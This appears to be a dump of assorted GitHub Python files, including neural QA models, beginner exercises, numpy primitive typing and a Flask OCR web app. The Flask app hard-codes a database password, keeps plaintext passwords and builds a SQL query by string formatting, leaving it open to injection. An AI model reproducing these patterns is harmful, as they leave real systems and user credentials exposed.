+{"seq_id":"16395455925","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom ..layers.rnn import CustomBRNN\nfrom ..layers.general import LinearSeqAttn, BilinearSeqAttn, uniform_weights, weighted_avg\nfrom ..layers.attn import Multihead, ScaleDotProductAttention, SelfAttnMultihead, EncodeModule\nimport numpy as np\nimport logging\n\n\nclass RnnDocReader(nn.Module):\n RNN_UNIT_TYPES = {'lstm': nn.LSTM, 'gru': nn.GRU, 'rnn': nn.RNN}\n\n def __init__(self, args, normalize=True):\n super(RnnDocReader, self).__init__()\n # Store config\n self.args = args\n # Input size to context RNN: word emb + question emb + manual features\n context_input_size = args.embedding_dim + args.num_features\n # Input size to question RNN: word emb + question emb + manual features\n question_input_size = args.embedding_dim + args.num_features\n\n # Projection for attention weighted question\n if args.use_qemb:\n if args.num_attn_head == 0:\n self.qemb_match = ScaleDotProductAttention(question_input_size)\n else:\n self.qemb_match = EncodeModule(question_input_size, question_input_size, question_input_size, args.num_attn_head)\n context_input_size += question_input_size\n\n # RNN context encoder\n self.context_rnn = CustomBRNN(\n input_size=context_input_size,\n hidden_size=args.hidden_size,\n num_layers=args.context_layers,\n dropout_rate=args.dropout_rnn,\n dropout_output=args.dropout_rnn_output,\n concat_layers=args.concat_rnn_layers,\n rnn_unit_type=self.RNN_UNIT_TYPES[args.rnn_type],\n padding=args.rnn_padding,\n )\n\n # RNN question encoder\n self.question_rnn = CustomBRNN(\n input_size=question_input_size,\n hidden_size=args.hidden_size,\n num_layers=args.question_layers,\n dropout_rate=args.dropout_rnn,\n dropout_output=args.dropout_rnn_output,\n concat_layers=args.concat_rnn_layers,\n rnn_unit_type=self.RNN_UNIT_TYPES[args.rnn_type],\n padding=args.rnn_padding,\n )\n # Output sizes of rnn encoders\n context_hidden_size = question_hidden_size = 2 * args.hidden_size\n if args.concat_rnn_layers:\n context_hidden_size *= args.context_layers\n question_hidden_size *= args.question_layers\n \n if args.question_merge_self_attn:\n if args.num_attn_head == 0:\n self.question_self_attn = ScaleDotProductAttention(question_hidden_size)\n else:\n self.question_self_attn = EncodeModule(question_hidden_size,question_hidden_size,question_hidden_size,args.num_attn_head)\n # Question merging\n if args.question_merge not in ['avg', 'learn_weight']:\n raise NotImplementedError('merge_mode = %s' % args.merge_mode)\n elif args.question_merge == 'learn_weight':\n self.q_merge = LinearSeqAttn(question_hidden_size)\n\n\n # Bilinear attention for label\n self.context_attn = BilinearSeqAttn(\n context_hidden_size,\n question_hidden_size,\n normalize=normalize,\n )\n\n self.out = nn.Linear(context_hidden_size, 2)\n def forward(self, q_emb, q_mask, t_emb, t_mask, q_f=None, t_f=None):\n \"\"\"Inputs:\n x1 = context ids [batch * len_d * embedding_dim]\n x1_f = context features indices [batch * len_d * nfeat]\n x1_mask = context padding mask [batch * len_d]\n x2 = question word indices [batch * len_q * embedding_dim]\n x2_mask = question padding mask [batch * len_q]\n \"\"\"\n # # Embed both context and question\n # x1_emb = self.embedding(x1)\n # x2_emb = self.embedding(x2)\n q = torch.cat((q_emb, q_f), dim=-1)\n \n t = torch.cat((t_emb, t_f), dim=-1)\n if self.args.use_qemb:\n t_q_attn = self.qemb_match(t, q, q, q_mask)\n t = torch.cat((t, t_q_attn), dim=-1)\n \n question_hiddens = self.question_rnn(q, q_mask)\n if self.args.question_merge_self_attn:\n question_hiddens = self.question_self_attn(question_hiddens, question_hiddens, question_hiddens, q_mask)\n if self.args.question_merge == 'avg':\n q_merge_weights = uniform_weights(question_hiddens, q_mask)\n elif self.args.question_merge == 'learn_weight':\n q_merge_weights = self.q_merge(question_hiddens, q_mask)\n else:\n raise NotImplementedError('merge_mode = %s' % self.args.question_merge)\n question_hidden = weighted_avg(question_hiddens, q_merge_weights)\n \n context_hiddens = self.context_rnn(t, t_mask)\n t_merge_weights = self.context_attn(context_hiddens, question_hidden, t_mask)\n context_hidden = weighted_avg(context_hiddens, t_merge_weights)\n return self.out(context_hidden)","repo_name":"NNHieu/DrQA_with_Attention","sub_path":"readers/DrQA/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":5001,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"1"}
+{"seq_id":"19364148179","text":"from kivy.app import App\r\nfrom kivy.uix.button import Button\r\nfrom kivy.uix.floatlayout import FloatLayout\r\nclass SimpleKivy4(App):\r\n \r\n def build(self):\r\n return setWidgets()\r\n\r\nclass setWidgets(FloatLayout):\r\n def __init__(self):\r\n self.add_widget(Button(text='Kivy'))\r\n #self.add_widget(Button(text='Tutorial',pos_hint={'right':0.5,'top':1},color=(1,1,0,1),size_hint=(0.3,0.2)))\r\n \r\n \r\nif __name__=='__main__':\r\n SimpleKivy4().run()\r\n","repo_name":"shashankbhagat/Python-Kivy","sub_path":"SampleKivy_1/SimpleKivy4.py","file_name":"SimpleKivy4.py","file_ext":"py","file_size_in_byte":480,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"1"}
+{"seq_id":"43512587528","text":"'''\n 给定 n 个非负整数 a1,a2,...,an,每个数代表坐标中的一个点 (i, ai) 。\n 在坐标内画 n 条垂直线,垂直线 i 的两个端点分别为 (i, ai) 和 (i, 0)。\n 找出其中的两条线,使得它们与 x 轴共同构成的容器可以容纳最多的水。\n\n 说明:你不能倾斜容器,且 n 的值至少为 2。\n\n 示例:\n 输入: [1,8,6,2,5,4,8,3,7]\n 输出: 49\n'''\nclass Solution:\n def maxArea(self, height):\n max_area=0\n left = 0\n right = len(height)-1\n\n while left < right:\n if (min(height[left],height[right]) * (right-left))>max_area:\n max_area = (self.min(height[left],height[right]) * (right-left))\n if height[left] > height[right]:\n right = right - 1\n else:\n left = left + 1\n return max_area\n\n def min(self,x,y):\n if x>y:\n return y\n else:\n return x\n\nif __name__ == \"__main__\":\n arr1 = [1,8,6,2,5,4,8,3,7]\n\n\n solution = Solution()\n max_area = solution.maxArea(arr1)\n print(\"max_area:{0}\".format(max_area))\n","repo_name":"km1994/leetcode","sub_path":"old/t20190401_save_water/demo.py","file_name":"demo.py","file_ext":"py","file_size_in_byte":1153,"program_lang":"python","lang":"zh","doc_type":"code","stars":24,"dataset":"github-code","pt":"1"}
+{"seq_id":"74422720993","text":"\"\"\" \n---------------------------------------------------------\nExercise 1 : \n---------------------------------------------------------\nCreate a program that asks the user to enter their name \nand their age. Print out a message addressed to them that \ntells them the year that they will turn 100 years old.\n---------------------------------------------------------\nConcepts : \n---------------------------------------------------------\n1. input() --> To get user input in Python 3.\n2. int() --> Turn the string into an integer.\n3. str() --> Turn integer into strings.\n----------------------------------------------------------\n \"\"\"\n\nimport datetime\n\nname = input(f\"Give me your name? : \")\nage = int(input(f\"Now, Give me your age? : \"))\n\ncurrent_year = datetime.datetime.now().year\n\nyear = ((current_year - age) + 100)\n\nprint(f\"{name} will be 100 years old in the year {year}\")\n\n\"\"\" \n-------------------------------------------------------------\nExtras :\n-------------------------------------------------------------\n1. Ask the user for another number and print out that many \n copies of the previous message.\n\n2. Print out that many copies of the previous message on \n separate lines.\n-------------------------------------------------------------\n \"\"\"\n\nanother_num = int(input(f\"Give me any number? : \"))\n\n\"\"\" while(another_num > 0):\n print(f\"{name} will be 100 years old in the year {year}\")\n another_num -= 1 \"\"\"\n\nprint(another_num * f\"{name} will be 100 years old in the year {year}\")\nprint(another_num * f\"{name} will be 100 years old in the year {year}\\n\")\n","repo_name":"MajhiRockzZ/py-programming-exercises","sub_path":"rs-practice-python/01_character_input.py","file_name":"01_character_input.py","file_ext":"py","file_size_in_byte":1570,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"1"}
+{"seq_id":"20496258714","text":"\n\nimport numpy as np\nimport ndtypes \n\nfrom ndtypes import Bool, FloatT, BoolT, Float32, Float64, ScalarT \n\nprim_lookup_by_value = {}\n\ndef find_prim_from_python_value(fn):\n return prim_lookup_by_value[fn]\n\nprim_lookup_by_op_name = {}\n\ndef op_name(op):\n return op.__class__.__name__\n\ndef is_ast_op(op):\n return op_name(op) in prim_lookup_by_op_name\n\ndef find_ast_op(op):\n name = op_name(op)\n if name in prim_lookup_by_op_name:\n return prim_lookup_by_op_name[name]\n else:\n raise RuntimeError(\"Operator not implemented: %s\" % name)\n\ndef is_prim(numpy_fn):\n return numpy_fn in prim_lookup_by_value\n\n\nclass Prim(object):\n def __init__(self, fn, python_op_name = None, symbol = None,\n name = None, nin = None, nout = None, \n extra_signatures = [], \n doc = None):\n if doc is not None:\n self.__doc__ = doc \n \n self.fn = fn\n prim_lookup_by_value[fn] = self\n self.symbol = symbol\n self.python_op_name = python_op_name\n\n if python_op_name is not None:\n prim_lookup_by_op_name[python_op_name] = self\n\n if name:\n self.name = name\n else:\n self.name = fn.__name__\n\n if nin:\n self.nin = nin\n elif hasattr(fn, 'nin'):\n self.nin = fn.nin\n else:\n assert hasattr(fn, 'func_code')\n self.nin = fn.func_code.co_argcount\n\n if nout:\n self.nout = nout\n elif hasattr(fn, 'nout'):\n self.nout = fn.nout\n else:\n self.nout = 1\n\n self._create_type_table()\n for sig in extra_signatures:\n self._add_signature(sig)\n # table mapping mismatching types i.e. (Int32, Float64) to (Float64, Float64)\n self._upcast_types = {}\n\n\n def _add_signature(self, signature):\n # numpy type signatures look like 'ff->f' where each character\n # represents a single type\n\n arg_codes, result_code = signature.split('->')\n try:\n parakeet_types = [ndtypes.from_char_code(c) for c in arg_codes]\n input_types = tuple(parakeet_types)\n result_type = ndtypes.from_char_code(result_code)\n self.type_table[input_types] = result_type\n except:\n # print \"Signature %s failed for %s\" % (signature , self.fn)\n pass\n \n \n def _create_type_table(self):\n # for now only support ufuncs which describe their own type behavior\n if hasattr(self.fn, 'types'):\n \"Primitive function %s doesn't supply type signatures\" % self.name\n\n self.type_table = {}\n for signature in self.fn.types:\n self._add_signature(signature)\n\n def __eq__(self, other):\n return self.fn == other.fn\n\n def __hash__(self):\n return hash(self.name)\n\n def __call__(self, *args, **kwds):\n return self.fn(*args, **kwds)\n\n def __repr__(self):\n return \"prim(%s)\" % self.name\n\n def _signature_distance(self, types1, types2):\n dist = 0\n for (t1, t2) in zip(types1, types2):\n if t1 != t2:\n assert isinstance(t1, ScalarT), \"Expected scalar type but got %s\" % t1\n assert isinstance(t2, ScalarT), \"Expected scalar type but got %s\" % t2\n # penalty just for being a different type \n dist += 1 \n \n size_difference = t2.nbytes - t1.nbytes\n \n # if we're downcasting, this sucks \n if size_difference < 0:\n dist += 10000\n # going from int to float of same type is mildly unsafe \n elif size_difference > 0:\n dist += np.log2(1 + size_difference)\n elif size_difference == 0:\n if isinstance(t2, FloatT) and not isinstance(t1, FloatT):\n dist += 10\n # can't go from float to int \n if isinstance(t1, FloatT) and not isinstance(t2, FloatT):\n dist += 1000\n # but going to from int to float is only minor penalty...\n elif isinstance(t2, FloatT) and not isinstance(t1, FloatT):\n dist += 1\n\n # can't go from int to bool \n if isinstance(t1, BoolT) and not isinstance(t2, BoolT):\n dist += 1\n elif isinstance(t2, BoolT) and not isinstance(t1, BoolT):\n dist += 1000\n return dist \n \n def expected_input_types(self, arg_types):\n \"\"\"Given some argument types, return the desired upcast types\"\"\"\n # by default we just figure out the common type and expect every arg to be\n # of that type\n n_inputs = len(arg_types)\n assert n_inputs == self.nin, \\\n \"Incorrect number of argument types for %s, expected %s but given %d\" \\\n % (self.name, self.nin, n_inputs)\n \n arg_types = tuple(arg_types)\n if arg_types in self.type_table:\n return arg_types\n elif arg_types in self._upcast_types:\n return self._upcast_types[arg_types]\n else:\n assert all(isinstance(t, ScalarT) for t in arg_types), \\\n \"Prim %s expects scalar inputs but given %s\" % (self, arg_types)\n # search over all possible signatures to figure out \n best_upcast_types = None\n best_distance = np.inf \n for candidate_types in self.type_table:\n dist = self._signature_distance(arg_types, candidate_types)\n if dist < best_distance:\n best_distance = dist\n best_upcast_types = candidate_types\n self._upcast_types[arg_types] = best_upcast_types\n return best_upcast_types \n #common_type = combine_type_list(arg_types)\n #return [common_type] * n_inputs\n\n def result_type(self, arg_types):\n \"\"\"\n Given some argument types, look up the result type in the type_table we\n generated from numpy's given signatures\n \"\"\"\n key = tuple(arg_types)\n if key not in self.type_table:\n raise RuntimeError(\"Primitives %s doesn't support input types %s, candidates: %s\" % (self.name, key, self.type_table))\n else:\n return self.type_table[key]\n\nclass Float(Prim):\n \"\"\"Always returns a float\"\"\"\n def expected_input_types(self, arg_types):\n assert all(isinstance(t, ScalarT) for t in arg_types), \\\n \"Prim %s expects scalar inputs but given %s\" % (self, arg_types)\n max_nbytes = max(t.nbytes for t in arg_types)\n if max_nbytes <= 4:\n upcast_types = [Float32.combine(t) for t in arg_types]\n else:\n upcast_types = [Float64.combine(t) for t in arg_types]\n return Prim.expected_input_types(self, upcast_types)\n \n def result_type(self, arg_types):\n t = Prim.result_type(self, arg_types)\n return t.combine(Float32)\n \nclass Arith(Prim):\n \"\"\"Basic arithmetic operators\"\"\"\n pass\n\nclass Logical(Prim):\n \"\"\"Expects boolean inputs, returns a boolean\"\"\"\n def expected_input_types(self, arg_types):\n return [Bool] * len(arg_types)\n\nclass Bitwise(Prim):\n \"\"\"Takes any two identical scalar types, returns the same\"\"\"\n pass\n\nclass Cmp(Prim):\n \"\"\"Takes two arguments of any type, returns a boolean\"\"\"\n pass\n\nclass Round(Prim):\n \"\"\"\n Rounding operations\n \"\"\"\n pass\n\nclass_list = [Cmp, Bitwise, Logical, Arith, Float, Round]\n\nabs = Float(np.abs, doc = \"Absolute value\")\nsqrt = Float(np.sqrt)\n\nexp = Float(np.exp)\nexp2 = Float(np.exp2)\nexpm1 = Float(np.expm1)\n\nlog = Float(np.log)\nlog10 = Float(np.log10)\nlog2 = Float(np.log2)\nlog1p = Float(np.log1p)\n\ncos = Float(np.cos)\ncosh = Float(np.cosh)\narccos = Float(np.arccos)\narccosh = Float(np.arccosh)\n\nsin = Float(np.sin)\nsinh = Float(np.sinh)\narcsin = Float(np.arcsin)\narcsinh = Float(np.arcsinh)\n\n# TODO: figure out how to derive type table for this:\n# sinc = Float(np.sinc)\n\ntan = Float(np.tan)\ntanh = Float(np.tanh)\narctan = Float(np.arctan)\narctan2 = Float(np.arctan2)\narctanh = Float(np.arctanh)\n\nlogical_and = Logical(np.logical_and, \"And\")\nlogical_not = Logical(np.logical_not, \"Not\")\nlogical_or = Logical(np.logical_or, \"Or\")\n#logical_xor = Logical(np.logical_xor, 'BitXor')\n\nbitwise_not = Bitwise(np.bitwise_not, 'Invert', '!')\nbitwise_and = Bitwise(np.bitwise_and, 'BitAnd', '&')\nbitwise_or = Bitwise(np.bitwise_or, 'BitOr', '|')\nbitwise_xor = Bitwise(np.bitwise_xor, 'BitXor', '^')\n\n# Adding booleans in Python results in an integer, \n# but add *arrays* of booleans gives a boolean result\n# ----\n# Since Parakeet unifies the scalar and broadcast behavior of \n# primitive functions, I had to pick one of these two behaviors\n# and went with Boolean + Boolean = Integer (since np.mean(bool) is useful) \nadd = Arith(np.add, 'Add', '+')\n\nsubtract = Arith(np.subtract, 'Sub', '-')\nmultiply = Arith(np.multiply, 'Mult', '*')\n\n\ndivide = Arith(np.divide, 'Div', '/', extra_signatures = ['??->?'])\n\nremainder = Arith(np.remainder, 'Mod', '%', extra_signatures = ['??->?'])\nmod = remainder \nfmod = Arith(np.fmod, doc = \"Return the element-wise remainder of division. C-style modulo.\")\n\n\n# used to be Arith but easier if result is always floating point \npower = Float(np.power, 'Pow', '**')\n# power_int = Arith(np.power, extra_signatures = [''])\n\n\nnegative = Arith(np.negative, 'USub', '-', None, 1, 1)\nmaximum = Arith(np.maximum, None, None, 'maximum', 2, 1)\nminimum = Arith(np.minimum, None, None, 'minimum', 2, 1)\n\n\nequal = Cmp(np.equal, 'Eq', '==')\nnot_equal = Cmp(np.not_equal, 'NotEq', '!=')\nless = Cmp(np.less, 'Lt', '<')\nless_equal = Cmp(np.less_equal, 'LtE', '<=')\ngreater = Cmp(np.greater, 'Gt', '>')\ngreater_equal = Cmp(np.greater_equal, 'GtE', '>=')\n\nis_ = Cmp(lambda x,y: x is y, 'Is', 'is')\n\ntrunc = Round(np.trunc)\nrint = Round(np.rint)\nfloor = Round(np.floor)\nceil = Round(np.ceil)\nround = Round(np.round) \n\n\n","repo_name":"iskandr/parakeet","sub_path":"parakeet/prims.py","file_name":"prims.py","file_ext":"py","file_size_in_byte":9243,"program_lang":"python","lang":"en","doc_type":"code","stars":232,"dataset":"github-code","pt":"1"}
+{"seq_id":"9160881341","text":"from code.constraints.capacity import capacity\nfrom code.constraints.overlap_simulated import overlapping\nfrom code.constraints.order import order\nimport time\nfrom code.constraints.distribution import distribution\n\ndef scorefunction_show(schedule, courses, rooms, overlap_dict):\n\n malus = 0;\n\n for i in range(len(schedule)):\n for j in range(len(schedule[i])):\n for k in range(len(schedule[i][j])):\n if schedule[i][j][k] != None:\n if j == 4:\n malus = malus + 20\n print('malus 20 points')\n capacity_show = capacity(schedule[i][j][k], rooms[k], courses)\n if capacity_show!= 0:\n print(f'capacity: ', schedule[i][j][k], capacity_show)\n\n malus = malus + capacity(schedule[i][j][k], rooms[k], courses)\n if overlapping(schedule[i][j][k], schedule[i][j], overlap_dict, k) == False:\n print(f'overlapping', schedule[i][j][k])\n malus = malus + 800\n if order(schedule, schedule[i][j][k], i, j) == False:\n print(f'order', schedule[i][j][k])\n malus = malus + 600\n\n\n print(f'points ditribution: ',distribution(schedule, courses))\n malus = malus + distribution(schedule, courses)\n\n return malus\n","repo_name":"12389285/meps","sub_path":"code/algorithms/scorefunction_show.py","file_name":"scorefunction_show.py","file_ext":"py","file_size_in_byte":1361,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"3920115744","text":"from flask import *\r\nfrom flask import send_from_directory\r\nimport psycopg2\r\nimport shutil\r\nimport imutils\r\nimport cv2,pandas as pd\r\nimport numpy as np, os, time,pickle\r\nfrom ParseDocument_v2 import Document\r\nfrom decode_predictions import decode_predictions\r\nfrom keras.models import load_model\r\nfrom werkzeug.utils import secure_filename\r\nfrom werkzeug.datastructures import FileStorage\r\nimport os\r\nimport sys\r\nfrom imutils.object_detection import non_max_suppression\r\nimport numpy as np\r\nimport pytesseract\r\nimport argparse\r\nimport cv2\r\nfrom sklearn.metrics import accuracy_score\r\nimport warnings\r\nwarnings.filterwarnings('ignore')\r\nfrom flask_caching import Cache\r\npytesseract.pytesseract.tesseract_cmd = 'C:/Program Files/Tesseract-OCR/tesseract.exe'\r\nUPLOAD_FOLDER = 'uploads/'\r\nconfig = {\r\n \"DEBUG\": True, # some Flask specific configs\r\n \"CACHE_TYPE\": \"SimpleCache\", # Flask-Caching related configs\r\n \"CACHE_DEFAULT_TIMEOUT\": 100\r\n}\r\napp = Flask(__name__)\r\napp.config.from_mapping(config)\r\ncache = Cache(app)\r\n\r\napp.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER\r\n@app.route('/')\r\ndef home():\r\n\treturn render_template('login.html')\r\n@app.route('/result.html')\r\ndef download_files():\r\n return render_template('result.html')\r\n@app.route('/main.html')\r\ndef main_page():\r\n return render_template('main.html')\r\n\r\n@app.route('/file')\r\ndef download_file():\r\n file_path = 'D:/OCR-master/Output/Output.txt'\r\n return send_file(file_path,as_attachment=True,cache_timeout=0)\r\n\r\n@app.route('/result2',methods=['GET','POST'])\r\ndef gettext():\r\n if request.method == 'POST': \r\n img =request.files['myfile']\r\n image=img.filename\r\n print(image)\r\n counts=0\r\n global X,Y,W,H\r\n allOutput = []\r\n print('==============================================')\r\n print('Starting ', image)\r\n print('==============================================') \r\n image = cv2.imread(image)\r\n wd,ht = image.shape[:2]\r\n img = image.copy()\r\n obj = Document()\r\n image, imgCnt = obj.processedImage(image)\r\n image_with_lines = obj.dilateImage(imgCnt.copy(),150)\r\n contours = obj.getCountours((image_with_lines.copy()))\r\n print(type(contours),len(contours))\r\n contours = obj.sortCountours(contours, \"top-to-bottom\")\r\n output = []\r\n i = 0\r\n predictedText = []\r\n for iter, line_Area in enumerate(contours):\r\n counts = counts + 1\r\n x,y,w,h = cv2.boundingRect(line_Area)\r\n X,Y,W,H = x,y,w,h\r\n line_Image = imgCnt[y:y+h, x:x+w]\r\n line_Contours = obj.getCountours(imgCnt[y:y+h, x:x+w])\r\n line_Contours = obj.sortCountours(line_Contours,\"left-to-right\")\r\n text = obj.getTextFromImage((image[y:y+h, x:x+w]), line_Contours, Width=8, Height=5) \r\n print(text)\r\n predictedText.append(text)\r\n print(predictedText)\r\n while i < len(predictedText):\r\n x = ' '.join(predictedText[i].split(' ')[1:])\r\n if len(contours)>9 and i == 2:\r\n \tx = x + ' '.join(predictedText[i+1])\r\n \ti+=1\r\n output.append(x)\r\n i+=1\r\n print('==============================================')\r\n print('Done with Processing ')\r\n print('==============================================')\r\n result=''\r\n for i in predictedText:\r\n \tresult+=i+' '\r\n allOutput=result\r\n print(len(allOutput))\r\n ret = obj.storeData(allOutput)\r\n if ret == True:\r\n \tprint('Done with Scanning.. Result can be found at {}'.format('D:/OCR-master/Output/Output.txt') )\r\n else:\r\n \tprint('Something went wrong while saving the file..!!!')\r\n return render_template('result.html')\r\n@app.route('/result1',methods=['GET','POST'])\r\ndef tessaract():\r\n\targs = {\r\n \r\n \"east\": \"D:/OCR-master/frozen_east_text_detection.pb\",\r\n \"min_confidence\": 0.5,\r\n \"width\": 320,\r\n \"height\": 320,\r\n \"padding\": 0.0\r\n\t}\r\n\tif request.method == 'POST': \r\n\t\timg =request.files['myfile1']\r\n\t\timage=img.filename\r\n\timage = cv2.imread(image)\r\n\torig = image.copy()\r\n\t(origH, origW) = image.shape[:2]\r\n\t(newW, newH) = (args[\"width\"], args[\"height\"])\r\n\trW = origW / float(newW)\r\n\trH = origH / float(newH)\r\n\timage = cv2.resize(image, (newW, newH))\r\n\t(H, W) = image.shape[:2]\r\n\tlayerNames = [\r\n\t\t\"feature_fusion/Conv_7/Sigmoid\",\r\n\t\t\"feature_fusion/concat_3\"]\r\n\tprint(\"[INFO] loading EAST text detector...\")\r\n\tnet = cv2.dnn.readNet(args[\"east\"])\r\n\tblob = cv2.dnn.blobFromImage(image, 1.0, (W, H),\r\n\t\t(123.68, 116.78, 103.94), swapRB=True, crop=False)\r\n\tnet.setInput(blob)\r\n\t(scores, geometry) = net.forward(layerNames)\r\n\t(rects, confidences) = decode_predictions(scores, geometry)\r\n\tboxes = non_max_suppression(np.array(rects), probs=confidences)\r\n\tresults = []\r\n\tfor (startX, startY, endX, endY) in boxes:\r\n\t\tstartX = int(startX * rW)\r\n\t\tstartY = int(startY * rH)\r\n\t\tendX = int(endX * rW)\r\n\t\tendY = int(endY * rH)\r\n\t\tdX = int((endX - startX) * args[\"padding\"])\r\n\t\tdY = int((endY - startY) * args[\"padding\"])\r\n\t\tstartX = max(0, startX - dX)\r\n\t\tstartY = max(0, startY - dY)\r\n\t\tendX = min(origW, endX + (dX * 2))\r\n\t\tendY = min(origH, endY + (dY * 2))\r\n\t\troi = orig[startY:endY, startX:endX]\r\n\t\tconfig = (\"-l eng --oem 1 --psm 7\")\r\n\t\ttext = pytesseract.image_to_string(roi, config=config)\r\n\t\tresults.append(((startX, startY, endX, endY), text))\r\n\tresults = sorted(results, key=lambda r:r[0][1])\r\n\toutput=''\r\n\tfor ((startX, startY, endX, endY), text) in results:\r\n\t\tprint(\"{}\\n\".format(text))\r\n\t\ttext = \"\".join([c for c in text]).strip()\r\n\t\toutput+=text+' '\r\n\t\r\n\tobj=Document()\r\n\tret = obj.storeData(output)\r\n\tif ret == True:\r\n\t\tprint('Done with Scanning.. Result can be found at {}'.format('D:/OCR-master/Output/Output.txt'))\r\n\telse:\r\n\t\tprint('Something went wrong while saving the file..!!!')\r\n\treturn render_template(\"result.html\")\r\n\r\n\r\n@app.route('/predict', methods=['GET', 'POST'])\r\ndef login():\r\n msg = ''\r\n db = psycopg2.connect(\r\n user=\"postgres\",\r\n password=\"Balareddy@8\",\r\n host=\"localhost\",\r\n port=\"2548\",\r\n database=\"OCR\")\r\n if request.method == 'POST' and 'user' in request.form and 'pwd' in request.form:\r\n username_patient = request.form['user']\r\n password_patient = request.form['pwd']\r\n cursor = db.cursor()\r\n cursor.execute('SELECT * FROM login WHERE username = %s AND password = %s', (username_patient, password_patient,))\r\n account = cursor.fetchall()\r\n if account:\r\n msg = 'Logged in successfully!'\r\n return render_template('main.html', msg=msg)\r\n else:\r\n msg = 'Incorrect username/password!'\r\n return render_template('login.html', msg=msg)\r\n@app.route('/results', methods=['GET', 'POST'])\r\ndef register():\r\n msg = ''\r\n db = psycopg2.connect(\r\n user=\"postgres\",\r\n password=\"Balareddy@8\",\r\n host=\"localhost\",\r\n port=\"2548\",\r\n database=\"OCR\")\r\n if request.method == 'POST':\r\n username_patient = request.form['user']\r\n password_patient = request.form['pwd']\r\n cnfpassword_patient = request.form['cpwd']\r\n cursor = db.cursor()\r\n sql = \"SELECT * FROM login WHERE username = '%s'\" % (username_patient)\r\n cursor.execute(sql)\r\n account = cursor.fetchall()\r\n if account:\r\n msg = 'Account already exists!'\r\n return render_template('register.html',msg=msg)\r\n else:\r\n insert_query= \"\"\" INSERT INTO login (username, password, conformpassword) VALUES (%s,%s,%s)\"\"\"\r\n \r\n record_to_insert=(username_patient,password_patient,cnfpassword_patient)\r\n cursor.execute(insert_query,record_to_insert)\r\n db.commit()\r\n msg = 'You have successfully registered!'\r\n return render_template('login.html',msg=msg)\r\n@app.route('/register.html')\r\ndef result():\r\n return render_template('register.html')\r\n@app.route('/login.html')\r\ndef results():\r\n return render_template('login.html')\r\nif __name__ == '__main__':\r\n\tapp.run(debug=True)","repo_name":"reddyBalakrishna/simple_ocr","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":7936,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"9054343720","text":"from datetime import datetime, timedelta\nfrom django.utils import timezone\nfrom django.core.mail import send_mail\nfrom .models import Task, Report\nfrom celery.decorators import periodic_task\nfrom celery import shared_task\n\n@shared_task\ndef send_report(report):\n user = report.user\n task = Task.objects.filter(user=user, deleted=False)\n pending_tasks = task.filter(status=\"PENDING\").count()\n completed_tasks = task.filter(status=\"COMPLETED\").count()\n in_progress_tasks = task.filter(status=\"IN_PROGRESS\").count()\n cancelled_tasks = task.filter(status=\"CANCELLED\").count()\n body = f\"\"\"\n Hi {user.username},\n \\n\\nYou have {pending_tasks} pending tasks,\n {completed_tasks} completed tasks,\n {in_progress_tasks} in progress tasks,\n {cancelled_tasks} cancelled tasks.\n \\n\\n\n {user}\n \"\"\"\n send_mail(\n \"Daily Tasks Status Report [Task Manager]\",\n body,\n \"tasks@gdc.com\",\n [user.email, \"Syedareehaquasar@gmail.com\"],\n fail_silently=False,\n )\n \n report.timestamp += timedelta(days=1)\n report.save()\n\n\n@periodic_task(run_every=timedelta(seconds=10))\ndef report_mailer():\n currentTime = datetime.now(tz=timezone.utc)\n reports = Report.objects.filter(\n timestamp__lte = currentTime,\n is_disabled = False\n )\n for report in reports:\n send_report(report)","repo_name":"syedareehaquasar/GDC-WebD-202-Deploying-Task-Manager","sub_path":"tasks/tasks.py","file_name":"tasks.py","file_ext":"py","file_size_in_byte":1395,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"0"}
+{"seq_id":"31116741865","text":"import sys\n\nfname=input('Enter a file name: ')\n\ntry:\n\tfhandle=open(fname)\nexcept:\n\tprint('File cannot be opened', fname)\n\tsys.exit()\n\nsample=dict()\t\t\t\t# sample is the name of the empty dictionary\nfor line in fhandle:\n\tline=line.rstrip()\t\t# To avoid \\n at the end of each line\n\twords=line.split()\n\tif len(words)==0 :continue\t\t# To skip empty lines (Guardian code)\n\tif words[0]=='From' and len(words)>2:\t# To go to interested lines and guardian code for words[1]\n\t\t\n\t\t#email=words[1]\n\t\t#domain=email.split('@')\n\t\t#sample[domain[1]]=sample.get(domain[1],0)+1\n\n\t\tdomain=words[1].split('@')[1]\t\t\t# double split to get domain seperately\n\t\tsample[domain]=sample.get(domain,0)+1 # add the word in dictionary if it is first occurence, else add one to value each time it occurs\nprint(sample)\n","repo_name":"Sangeethakarthikeyan/CS-2","sub_path":"task9.4_ex5.py","file_name":"task9.4_ex5.py","file_ext":"py","file_size_in_byte":786,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"72077718438","text":"import sys\nmoyenne = 0\nif (len(sys.argv) > 2):\n notes = list(map(lambda arg: int(arg) , sys.argv[1:]))\n for note in notes:\n if note > 20 or note < 0 :\n print('Note non valide')\n break\n else:\n moyenne += note\n print('Moyenne ; {}'.format(moyenne / len(notes)))\nelse:\n print('Aucune Moyenne à afficher')\n sys.exit(0)","repo_name":"Fyndir/Note-de-cours","sub_path":"S7/Programmation concurente/TP/TP9/src/moyenne.py","file_name":"moyenne.py","file_ext":"py","file_size_in_byte":377,"program_lang":"python","lang":"fr","doc_type":"code","stars":8,"dataset":"github-code","pt":"0"}
